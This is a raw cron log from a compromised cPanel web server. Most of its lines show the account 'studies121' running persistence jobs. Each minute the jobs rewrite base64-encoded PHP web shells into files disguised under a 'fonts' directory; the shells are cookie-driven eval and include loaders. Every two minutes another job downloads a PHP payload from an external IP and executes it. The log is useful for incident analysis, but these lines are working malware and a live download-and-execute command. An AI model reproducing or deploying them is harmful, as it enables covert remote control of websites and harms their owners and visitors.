Sep  3 05:45:01 ip-184-168-122-23 CROND[11874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:46:01 ip-184-168-122-23 CROND[12002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:46:01 ip-184-168-122-23 CROND[12004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:46:01 ip-184-168-122-23 CROND[12006]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 05:46:01 ip-184-168-122-23 CROND[12008]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:46:01 ip-184-168-122-23 CROND[12011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:46:01 ip-184-168-122-23 CROND[12012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:46:01 ip-184-168-122-23 CROND[12013]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 05:47:01 ip-184-168-122-23 CROND[12137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:47:01 ip-184-168-122-23 CROND[12139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:47:01 ip-184-168-122-23 CROND[12140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:47:01 ip-184-168-122-23 CROND[12141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:48:01 ip-184-168-122-23 CROND[12295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:48:01 ip-184-168-122-23 CROND[12300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:48:01 ip-184-168-122-23 CROND[12299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:48:01 ip-184-168-122-23 CROND[12297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:48:01 ip-184-168-122-23 CROND[12301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:49:01 ip-184-168-122-23 CROND[12396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:49:01 ip-184-168-122-23 CROND[12397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:49:01 ip-184-168-122-23 CROND[12399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:49:01 ip-184-168-122-23 CROND[12400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:50:01 ip-184-168-122-23 CROND[12599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:50:01 ip-184-168-122-23 CROND[12598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:50:01 ip-184-168-122-23 CROND[12602]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 05:50:01 ip-184-168-122-23 CROND[12605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:50:01 ip-184-168-122-23 CROND[12608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:50:01 ip-184-168-122-23 CROND[12607]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 05:50:01 ip-184-168-122-23 CROND[12606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:50:01 ip-184-168-122-23 CROND[12604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:50:01 ip-184-168-122-23 CROND[12603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:51:02 ip-184-168-122-23 CROND[12723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:51:02 ip-184-168-122-23 CROND[12724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:51:02 ip-184-168-122-23 CROND[12725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:51:02 ip-184-168-122-23 CROND[12729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:52:01 ip-184-168-122-23 CROND[12821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:52:01 ip-184-168-122-23 CROND[12822]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:52:01 ip-184-168-122-23 CROND[12827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:52:01 ip-184-168-122-23 CROND[12830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:52:01 ip-184-168-122-23 CROND[12832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:53:01 ip-184-168-122-23 CROND[12961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:53:01 ip-184-168-122-23 CROND[12963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:53:01 ip-184-168-122-23 CROND[12964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:53:01 ip-184-168-122-23 CROND[12966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:54:01 ip-184-168-122-23 CROND[13068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:54:01 ip-184-168-122-23 CROND[13069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:54:01 ip-184-168-122-23 CROND[13071]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:54:01 ip-184-168-122-23 CROND[13075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:54:01 ip-184-168-122-23 CROND[13076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:55:01 ip-184-168-122-23 CROND[13277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:55:01 ip-184-168-122-23 CROND[13280]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:55:01 ip-184-168-122-23 CROND[13279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:55:01 ip-184-168-122-23 CROND[13281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:55:01 ip-184-168-122-23 CROND[13282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:55:01 ip-184-168-122-23 CROND[13283]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:56:01 ip-184-168-122-23 CROND[13394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:56:01 ip-184-168-122-23 CROND[13395]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:56:01 ip-184-168-122-23 CROND[13396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:56:01 ip-184-168-122-23 CROND[13400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:56:01 ip-184-168-122-23 CROND[13398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:57:01 ip-184-168-122-23 CROND[13536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:57:01 ip-184-168-122-23 CROND[13537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:57:01 ip-184-168-122-23 CROND[13538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
